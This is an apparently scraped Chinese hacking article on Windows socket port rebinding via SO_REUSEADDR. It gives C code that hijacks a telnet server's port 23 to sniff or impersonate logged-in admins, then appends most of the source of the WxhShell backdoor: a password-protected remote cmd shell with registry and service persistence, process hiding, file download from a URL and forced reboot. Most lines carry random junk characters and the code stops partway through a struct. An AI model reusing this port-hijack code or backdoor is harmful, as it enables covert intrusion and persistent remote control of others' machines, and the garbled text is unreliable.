在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
<9?`zo$y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
NW?h~2 |JCn=v@ saddr.sin_family = AF_INET;
K.6xNQl{} [2zS@p saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[b@9V_ qBWt(jY bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0 oHnam {`[u XH?3d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4iZ7BD EA!I&
mBq 这意味着什么?意味着可以进行如下的攻击:
.^uYr^(|[ B,ZLX/c9
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@*~cmf&FIQ ]WC@*3'kye 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
JA^Y:@<{/ QgW4jIbx 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
LgoUD*MbQ ZCCwx71j 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
pkEqd"G ~ny4Ay$# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
HVcd< :g0 ik|iAWy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
dK?vg@|' ADN 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5y|/}D> fk:oCPo #include
k/}E(_e #include
+;wu_CQu #include
'-m )fWf #include
JGKiVBN DWORD WINAPI ClientThread(LPVOID lpParam);
0=Z_5.T> int main()
^H
UNq[sQ {
M `bEnu WORD wVersionRequested;
QBfsdu<@^ DWORD ret;
O&u[^s/^ WSADATA wsaData;
J^BC BOOL val;
g{?]a'? SOCKADDR_IN saddr;
f_GqJ7Gk] SOCKADDR_IN scaddr;
.ahYjn int err;
GT} =(sD L SOCKET s;
m;d#*}n\p SOCKET sc;
+c^[[ K" int caddsize;
<kr%ylhIu HANDLE mt;
W{2(fb DWORD tid;
]MXeWS( wVersionRequested = MAKEWORD( 2, 2 );
]OKs65 err = WSAStartup( wVersionRequested, &wsaData );
7+vyN^XJ"5 if ( err != 0 ) {
GY%48}7 printf("error!WSAStartup failed!\n");
Jr4^@]78o< return -1;
}+8w }
C!8XFf8e saddr.sin_family = AF_INET;
Pe_iA_ ,#PeK( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|tU4(hC `_{^&W
WS saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
hw [G saddr.sin_port = htons(23);
|?Z;tAF! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cR+9^DzA {
<ZV !fn printf("error!socket failed!\n");
b4$-?f?V return -1;
i|5 K4Puu }
cDS6RO? val = TRUE;
4M&6q(389 //SO_REUSEADDR选项就是可以实现端口重绑定的
_f8<t=R if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Nn],sEs {
%usy`4
2 printf("error!setsockopt failed!\n");
PZQn]lbak return -1;
> T,^n
{_v }
\i-HECc"U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7Xu.z9y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
%hzl3>(). //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8uR4ZE* 8Ilg[Drj* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
h4 s!VK1X {
tU02t#8 ret=GetLastError();
(0Xgv3wd printf("error!bind failed!\n");
%z&=A%'a return -1;
:6 ?&L }
NX^%a1D! listen(s,2);
0?]*-wvp while(1)
-o\r]24 {
{BBL`tg60 caddsize = sizeof(scaddr);
(#WE9~Sru //接受连接请求
{"dU?/d sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
0i2ZgOJ if(sc!=INVALID_SOCKET)
}kaU0 P {
dHnR)[?e mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:bxq%D%|o if(mt==NULL)
x(nWyVB {
+j._NRXRH printf("Thread Creat Failed!\n");
T.vkGB=QZ% break;
~G!>2 +L }
_h4{Sx }
iol.RszlZ| CloseHandle(mt);
t0*JinKI }
Y3+GBqP closesocket(s);
Zb)j2Xgl WSACleanup();
8'Eu6H&$G return 0;
Farcd!} }
L`%v#R DWORD WINAPI ClientThread(LPVOID lpParam)
2YD;Gb[8 {
}VlX!/42 SOCKET ss = (SOCKET)lpParam;
N'nI
^= SOCKET sc;
Z[Gs/D unsigned char buf[4096];
Suixk'- SOCKADDR_IN saddr;
^Jb=&u$ long num;
W8:?y*6 DWORD val;
KXEDpr DWORD ret;
Fa`/i v //如果是隐藏端口应用的话,可以在此处加一些判断
+~Ni7Dp] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
{O-,JCq/ saddr.sin_family = AF_INET;
#F\}PCBe' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-I7"9}j3 saddr.sin_port = htons(23);
q(0V#kKC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Yb8o`j+t {
iV5x-G` printf("error!socket failed!\n");
l`x;Og>a return -1;
'./j<2|;U }
Gma)8X# val = 100;
VU7x w if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
f!;4-.p` {
?ic 7M ret = GetLastError();
$gm`}3C< return -1;
H"8fnN=xB }
zG|}| //} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(J(JB}[X, {
iGmBG1a\ ret = GetLastError();
+$Q33@F5l return -1;
t0XM#9L }
ZSj^\JU if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
3-4' x2
{
uop|8n1 printf("error!socket connect failed!\n");
*6%!i7kr closesocket(sc);
G"3)\FEM closesocket(ss);
qSh^|;2?R return -1;
1A;>@4iC0 }
eC:?j`H- while(1)
?9#}p {
6]#pPk8[Z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2
F3U,} //如果是嗅探内容的话,可以再此处进行内容分析和记录
P#5&D*`}h //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{e4`D1B num = recv(ss,buf,4096,0);
]9]cef=h# if(num>0)
t(FIBf3 send(sc,buf,num,0);
aW-'Jg=@H^ else if(num==0)
..RCR_DIp break;
W%@L7 xh num = recv(sc,buf,4096,0);
r=YprVX if(num>0)
a>jiq8d]4 send(ss,buf,num,0);
I_s4Pf[l else if(num==0)
_MfXN$I?} break;
<igsO }
SB
R= closesocket(ss);
_Wn5*
Pi%Z closesocket(sc);
c}K>#{YeB return 0 ;
5yO%| ) }
v^_OX$=, 0^htwec! "]|I;I"b ==========================================================
GrWzgO r9@4-U7v& 下边附上一个代码,,WXhSHELL
SenDJv00 \yeo-uN8 ==========================================================
:n36}VG| 5N=QS1<$5 #include "stdafx.h"
gKK*`
L~ -DgJkyt+< #include <stdio.h>
w+<`> #include <string.h>
H% c:f #include <windows.h>
p]z
* #include <winsock2.h>
kae&,'@JF #include <winsvc.h>
L' w
} #include <urlmon.h>
h"<-^=b (9bFIvMc #pragma comment (lib, "Ws2_32.lib")
fg1_D #pragma comment (lib, "urlmon.lib")
C^>txui8 Ik_u34U #define MAX_USER 100 // 最大客户端连接数
m4FT^^3yE #define BUF_SOCK 200 // sock buffer
%<cfjo #define KEY_BUFF 255 // 输入 buffer
I8=p_Ie e)I-|Q4^% #define REBOOT 0 // 重启
D;%(Z! #define SHUTDOWN 1 // 关机
Ra%" += sBozz # #define DEF_PORT 5000 // 监听端口
8P8@i+[]W ,U9gg-.Lp #define REG_LEN 16 // 注册表键长度
$`L!2 #define SVC_LEN 80 // NT服务名长度
5c*kgj:x $6~ J#; // 从dll定义API
4N&4TUIM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
E3X6-J| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
LIM
cZh ; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
24u;'i-y5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
@"[xX}xK; 5.st!Lp1 // wxhshell配置信息
G 2L?j struct WSCFG {
y^"[^+F3 . int ws_port; // 监听端口
h`X>b/V char ws_passstr[REG_LEN]; // 口令
35/)S@ int ws_autoins; // 安装标记, 1=yes 0=no
~V,~'W char ws_regname[REG_LEN]; // 注册表键名
$2l<X KT- char ws_svcname[REG_LEN]; // 服务名
)%e`SGmp char ws_svcdisp[SVC_LEN]; // 服务显示名
>0yx!Iao char ws_svcdesc[SVC_LEN]; // 服务描述信息
+S!gS|8P char ws_passmsg[SVC_LEN]; // 密码输入提示信息
fI:j@Wug int ws_downexe; // 下载执行标记, 1=yes 0=no
N5$IVz} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Y/\y"a char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.QRa{l_) 3N8RZt1.b };
:xdl I`S P GTi-o} // default Wxhshell configuration
.L;M-`^ struct WSCFG wscfg={DEF_PORT,
Gn}G$uk61 "xuhuanlingzhe",
u,]?_bK) 1,
<=m@Sg{o "Wxhshell",
&PJ&XTR "Wxhshell",
n)]]g3y2 "WxhShell Service",
fB~BVYi "Wrsky Windows CmdShell Service",
ruMS5OqM "Please Input Your Password: ",
c rx8+ 1,
tbbZGyg5b "
http://www.wrsky.com/wxhshell.exe",
3yT7;~vPj "Wxhshell.exe"
Tk(ciwB };
"P4#Q_ qo2/? ]
// 消息定义模块
~zEBJgeyh char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
&p/^A[ char *msg_ws_prompt="\n\r? for help\n\r#>";
9 F"2$; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
oA_T9uh[ char *msg_ws_ext="\n\rExit.";
xiv1y4(% char *msg_ws_end="\n\rQuit.";
.nXOv] char *msg_ws_boot="\n\rReboot...";
@EPO\\C"f char *msg_ws_poff="\n\rShutdown...";
P2lDi!q| char *msg_ws_down="\n\rSave to ";
H}TzNs \EP<r char *msg_ws_err="\n\rErr!";
zqd_^
char *msg_ws_ok="\n\rOK!";
pq<302uBQ sA(
e char ExeFile[MAX_PATH];
nq9|cS%- int nUser = 0;
58T<~u7 HANDLE handles[MAX_USER];
)vO?d~x| int OsIsNt;
-Re4G78% n2<#]2h SERVICE_STATUS serviceStatus;
<F~0D0G SERVICE_STATUS_HANDLE hServiceStatusHandle;
<{
Z$!]i1 dd $}FlT // 函数声明
XeGtge/}T int Install(void);
Ucj
eB int Uninstall(void);
#q[k"x=c int DownloadFile(char *sURL, SOCKET wsh);
*)+K+J int Boot(int flag);
AD_aI
%7 void HideProc(void);
b+Ly%& int GetOsVer(void);
xy/B<.M1 int Wxhshell(SOCKET wsl);
?8{x/y: void TalkWithClient(void *cs);
F;I % 9-R int CmdShell(SOCKET sock);
ukZ>_ke`+ int StartFromService(void);
5]c'n int StartWxhshell(LPSTR lpCmdLine);
,5tW|=0@ x<mHTh:-V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
n"p|tEK VOID WINAPI NTServiceHandler( DWORD fdwControl );
/FP;Hsw% `i'72\( // 数据结构和表定义
XOk0_[ SERVICE_TABLE_ENTRY DispatchTable[] =
YPq4VX, {
A7|CG[wZ {wscfg.ws_svcname, NTServiceMain},
W.B;Dy,Y {NULL, NULL}
8$c_M };
"s:eH"_s !9w;2Z]uum // 自我安装
(W=J3?hn int Install(void)
Y?1
3_~
K {
oNkASAd char svExeFile[MAX_PATH];
?1DA HKEY key;
l6YToYzE2 strcpy(svExeFile,ExeFile);
*5kQ6#l
PT`];C(he // 如果是win9x系统,修改注册表设为自启动
C4Tn
if(!OsIsNt) {
sHt
PO[h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
iyj,0T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/b44;U`v5- RegCloseKey(key);
] bPj%sb*@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
MS_@
Xe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2jMV6S9 RegCloseKey(key);
b1("(,r/` return 0;
y<53xZi }
M[;N6EJH }
yMJY6$Ct }
APfDy else {
Ql%0%naq1 ~If{`zWoC // 如果是NT以上系统,安装为系统服务
>.tP7= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"agc*o~!F if (schSCManager!=0)
/SXms'C {
tt|v opz SC_HANDLE schService = CreateService
B@:11,.7 (
01/? schSCManager,
l> Mth+,b wscfg.ws_svcname,
500qg({2] wscfg.ws_svcdisp,
6I)1[tU SERVICE_ALL_ACCESS,
3?}W0dZ$d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
:X?bWxOJ SERVICE_AUTO_START,
d )}@0Q SERVICE_ERROR_NORMAL,
I T.'`!T svExeFile,
[P,/J$v^~ NULL,
Cb{n4xKW6 NULL,
MzF9 &{N NULL,
z_Nw%V4kr NULL,
~#doJ:^H3 NULL
bIX'|= );
5i 6*$#OM_ if (schService!=0)
v}$s,j3NO {
) <lpI';T CloseServiceHandle(schService);
i$Rlb5RU CloseServiceHandle(schSCManager);
+
lha= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Kn#3^>D strcat(svExeFile,wscfg.ws_svcname);
Xv`c@n) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\Oku<5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~7N>tjB RegCloseKey(key);
G)I lkA@ return 0;
>=|;2*9v }
@Ju!|G9z/p }
v7"Hvp3w CloseServiceHandle(schSCManager);
X(b"b:j' }
U 0$?:C+? }
Jb~nu q{rc[ s? return 1;
M5SAlj }
r A*"22v= :&]THUw // 自我卸载
''@upZBJ int Uninstall(void)
}ph;~og}y {
5UFR^\e HKEY key;
e[3rz%'Q ozs
xqN if(!OsIsNt) {
%-Z0OzWe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B:YUb{CJ RegDeleteValue(key,wscfg.ws_regname);
u}Q@u!~e9 RegCloseKey(key);
"TWNit if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^,Sl^ 9K RegDeleteValue(key,wscfg.ws_regname);
u-CC UMR RegCloseKey(key);
(5l5@MN return 0;
!wws9 }
LnN6{z{M }
w3^>{2iqq }
4eSV(u)4 else {
VfJbexYT eBD7 g- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
5"f')MKUV9 if (schSCManager!=0)
lP@/x+6tg {
\78w1Rkl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5WR(jl+M if (schService!=0)
J!Kk7!^| {
[Z3B~c if(DeleteService(schService)!=0) {
I_Q*uH.Y 5 CloseServiceHandle(schService);
q@;z((45 CloseServiceHandle(schSCManager);
*wml
4lh return 0;
")l_>y? }
]jUxL=]r CloseServiceHandle(schService);
MZt~
Abt }
E%CJM+r! CloseServiceHandle(schSCManager);
K-$gTV }
~-+lZ4} }
XYbc1+C L< MIl[z7 return 1;
83*"58 }
IxY%d}[uo 4\%0a,\^ // 从指定url下载文件
+L4_] int DownloadFile(char *sURL, SOCKET wsh)
} k[gR I] {
3P1OyB HRESULT hr;
\R>!HY char seps[]= "/";
=sG9]a<I char *token;
z6tH2Wxf char *file;
Ybr&z7# 2 char myURL[MAX_PATH];
6?U2Et char myFILE[MAX_PATH];
Nl_Sgyx,\ K0xZZ` strcpy(myURL,sURL);
DkP%1Crdr token=strtok(myURL,seps);
Vi~9[&.E\! while(token!=NULL)
'-F
}(9M {
Re <G#*^ file=token;
}.<%46_Z- token=strtok(NULL,seps);
s)q;{wz }
gB!K{ Io' ~
#Gu: GetCurrentDirectory(MAX_PATH,myFILE);
e2~i@vq strcat(myFILE, "\\");
|BD]K0 strcat(myFILE, file);
*
%p6+D-C send(wsh,myFILE,strlen(myFILE),0);
Z6<vLc send(wsh,"...",3,0);
SSANt?\Z< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
j|f$:j if(hr==S_OK)
*yGOmi return 0;
P7n+@L$ else
?@
ei_<A{ return 1;
pQaP9Y{OK 'J^E|1P }
"M*Pt irNGURLm // 系统电源模块
dA<PQKm int Boot(int flag)
%gB 0\C {
]*+ozAG4 HANDLE hToken;
JHN35a+ TOKEN_PRIVILEGES tkp;
LEMgRI`rf !*wK4UcX" if(OsIsNt) {
'z\K0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
zV {[0s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{ U a19~'> tkp.PrivilegeCount = 1;
G0Wzx)3] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
h3.wR]ut AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
SE+K"faKQ if(flag==REBOOT) {
<Tr_,Ya{9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
7\aLK# return 0;
Pg%OFhA }
,D-VC{lj else {
\HFh?3-g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
eRllF `* return 0;
;p%a!Im_< }
)+[IR }
t#mW`rGE_ else {
_Tyj4t0ElV if(flag==REBOOT) {
D,+I)-k< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
fL4F
~@`9l return 0;
fRJSo% }
93:s[bmx else {
F(/^??<5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
0Ha1pqR return 0;
zw^jIg$ }
( B$;'U< }
5I5~GH ,%X~/V return 1;
L's_lC }
=!r9;L,? 7,ODh-?ez // win9x进程隐藏模块
PL<q|y void HideProc(void)
0o[p<<c* {
JI5?,
)-St *iS<]y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
KcP86H52I if ( hKernel != NULL )
n@w$5y1@ {
D
%~s pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
iNf+ -C3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
XbYW,a@w2 FreeLibrary(hKernel);
pm O }m> }
R<)7,i`F oUR'gc : return;
T>d-f=(9KH }
SZH,I&8 Fsv%=E{ // 获取操作系统版本
_OP75kv int GetOsVer(void)
Q$G!-y+"i {
K=VYRY OSVERSIONINFO winfo;
QNzI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#Zk6
GetVersionEx(&winfo);
fLAOA9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^.Vq0Qzy] return 1;
tlu-zUsi else
)#Ea~>v return 0;
q(i| }
%7pT\8E5 t.c XrX`k // 客户端句柄模块
z#GZvB/z) int Wxhshell(SOCKET wsl)
"'-f?kZ {
E"&fT!yi SOCKET wsh;
QRhR.:M\ struct sockaddr_in client;
Ki{&,:@ DWORD myID;
j%Y`2Ra K+TRt"W8&s while(nUser<MAX_USER)
IIUoB!` {
g:`V:kbY$ int nSize=sizeof(client);
)FGm5-K@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
N^xnx< if(wsh==INVALID_SOCKET) return 1;
p ElF,Y _n@#Lufx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_CDUUr if(handles[nUser]==0)
F#eZfj~ closesocket(wsh);
_dVzvk`_R else
:w:hqe|_ nUser++;
-("sp }
lhva| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
3qE2mYK x6\EU=, return 0;
5ycccMx0V }
h7f&7v uV`r_P // 关闭 socket
DX l3 void CloseIt(SOCKET wsh)
qasbK:} {
a` A V closesocket(wsh);
>VM@9Cph nUser--;
ZH;VEX ExitThread(0);
~cQ./G4 }
zBtlkBPu |RS9N_eRt // 客户端请求句柄
b1JXC=*@ void TalkWithClient(void *cs)
A^nB!veh {
"bZ%1)+ Y|FF
;[ SOCKET wsh=(SOCKET)cs;
'!^5GSP3& char pwd[SVC_LEN];
WcqQR))n char cmd[KEY_BUFF];
1`J-|eH=Q char chr[1];
W5PNp%+KE int i,j;
Vw:.'-Oi 35;|r while (nUser < MAX_USER) {
/I}#0} L"{qF<@V7& if(wscfg.ws_passstr) {
jLo(Uf if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A?V}$PTlx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KK$t3e) //ZeroMemory(pwd,KEY_BUFF);
l{ <+V) i=0;
'ol8l Ia.P while(i<SVC_LEN) {
'Dw+k;RH Tq{+9+ // 设置超时
UtPFkase fd_set FdRead;
}zC9;R(E struct timeval TimeOut;
_#32hAI FD_ZERO(&FdRead);
l7#5.%A FD_SET(wsh,&FdRead);
)N$T& TimeOut.tv_sec=8;
GPV=(}z TimeOut.tv_usec=0;
OBY^J1St int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<8;SSdoKi if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
E$l 4v>iA h|~I'M]* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
E,IeW {6s pwd
=chr[0]; r+v?~m!
if(chr[0]==0xd || chr[0]==0xa) { A1>fNilC9
pwd=0; g{PEplk
break; >,%or cN
} PgOOFRwP
i++; vYl2_\,Y?
} ozaM!e e\z
FgwIOpqE*
// 如果是非法用户,关闭 socket Iu"7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4# +i\H`
} phCItN;
OHRkhwF.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LH}]& >F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6_mkt|E=
_(7f0p
while(1) { U80h0t%
N!~O~Eo3
ZeroMemory(cmd,KEY_BUFF); I<+EXH%1,
Gxh r0'
// 自动支持客户端 telnet标准 @T.+:U@S
j=0; E P3Vz8^
while(j<KEY_BUFF) { ^cDHC^Wm
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); njxfBA:
cmd[j]=chr[0]; .9NYa |+0
if(chr[0]==0xa || chr[0]==0xd) {
wK]p`:3
cmd[j]=0; OsT|MX
break; -UB XWl
} ,,G[360
j++; s$gR;su)g
} )L/0X40<.
AZ.$g?3w
// 下载文件 6?(yMSKa
if(strstr(cmd,"http://")) { r'(*#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); XCyU)[wY
if(DownloadFile(cmd,wsh)) Fy 1- >~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gNHS:k\"
else X$2f)3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -e4TqzRr
} [KL-T16
else { S4U}u l
${)oi:K@:
switch(cmd[0]) { `r'$l<(4WV
1/f{1k
// 帮助 KCIya[$*
case '?': { d&* c3F
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a]/KJn/B(
break; eDsB.^|l
} S]&:R)#@
// 安装 B*(BsXQLY
case 'i': { IeZ9 "o h
if(Install()) n)0M1o#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |}? H$d
else
jF-:e;-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !r8_'K5R(
break; ;f~fGsH}e'
} 9W0*|!tQ,+
// 卸载 ypgM&"eR
case 'r': { -2[#1S*
if(Uninstall()) G6.lRaPu"m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C
:An
else km*Y#`{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zO2=o5nF.
break; Y&1N*@YP
} HSWki';G
// 显示 wxhshell 所在路径 'QQq0.
case 'p': { ^Ze(WE)
char svExeFile[MAX_PATH]; A%2B3@1'q
strcpy(svExeFile,"\n\r"); GM8Q#vc
strcat(svExeFile,ExeFile); 0
*;i]owV
send(wsh,svExeFile,strlen(svExeFile),0); h% KEg667
break; 'A>?aUq]:
} E~#G_opQA
// 重启 O,Tp,wT
case 'b': { i\_LLXc
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Do7 7V5
if(Boot(REBOOT)) Qd~z<U l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gs3c1Qa3b
else { 064k;|>D
closesocket(wsh); EjFn\|VK
ExitThread(0); (uDAdE5
} QJj='+R>
break; _|4R^*/4
} %W8iC%~
// 关机 ,p3]`MG
case 'd': { 4#}aLP
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pro?xY$E)
if(Boot(SHUTDOWN)) %g:'6%26
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IIih9I`IR
else { PJ;WNo8
closesocket(wsh); HHZw-/s,%
ExitThread(0); z\oTuW*B
} NTD1QJ
break; Y<|JhqOXK
} _}Qtx/Cg
// 获取shell Ea&NJ]& g
case 's': { >I0;MNX
CmdShell(wsh); ZM})l9_o"
closesocket(wsh); ^utOVi
ExitThread(0); >t.Lc.
break; y%ij)vQY
} L /:^;j`c
// 退出 _qR?5;v
case 'x': { qF4tjza;k
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cz,QP'g
CloseIt(wsh); ,|d9lK`" P
break; bJetqF6n
} s2"`j-iQ
// 离开 |,p"<a!+{w
case 'q': { ]y6{um8"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); e,epKtL
closesocket(wsh); 7tXy3-~biz
WSACleanup(); {QM rgyQE
exit(1); 1R3,Z8j'
break; 3 nG.ah
} 3!b
$R?kZ
} !Pw*p*z
} ns%gb!FBJX
S?d<P
// 提示信息 @JXpD8jn
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <HoCt8>U
} :c~SH/qS
} f]8MdYX(
":$4/b6
return; ?)|}gr
} @KK6Jy OTQ
A|8"}Hm
// shell模块句柄 salC4z3
int CmdShell(SOCKET sock) F*[E28ia&
{ "G
[Nb:,CR
STARTUPINFO si; ;:D-}t;
ZeroMemory(&si,sizeof(si)); -y-}g[`
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KE3`5Y!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g %mCgP
PROCESS_INFORMATION ProcessInfo; 4HGTgS
char cmdline[]="cmd"; !CUl1L1DSi
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4W"A*A
return 0; ksC_F8Q+
} 3_)I&RM
MvpJ0Y (
// 自身启动模式 Zu,:}+niU
int StartFromService(void) :awkhx
{ U`qkeNd
typedef struct 4C =W~6~
{ Zu.hcDw1
DWORD ExitStatus; _=~u\ $
DWORD PebBaseAddress; =\< 7+nv
DWORD AffinityMask; ByY2KJ7
DWORD BasePriority; oIE
1j?
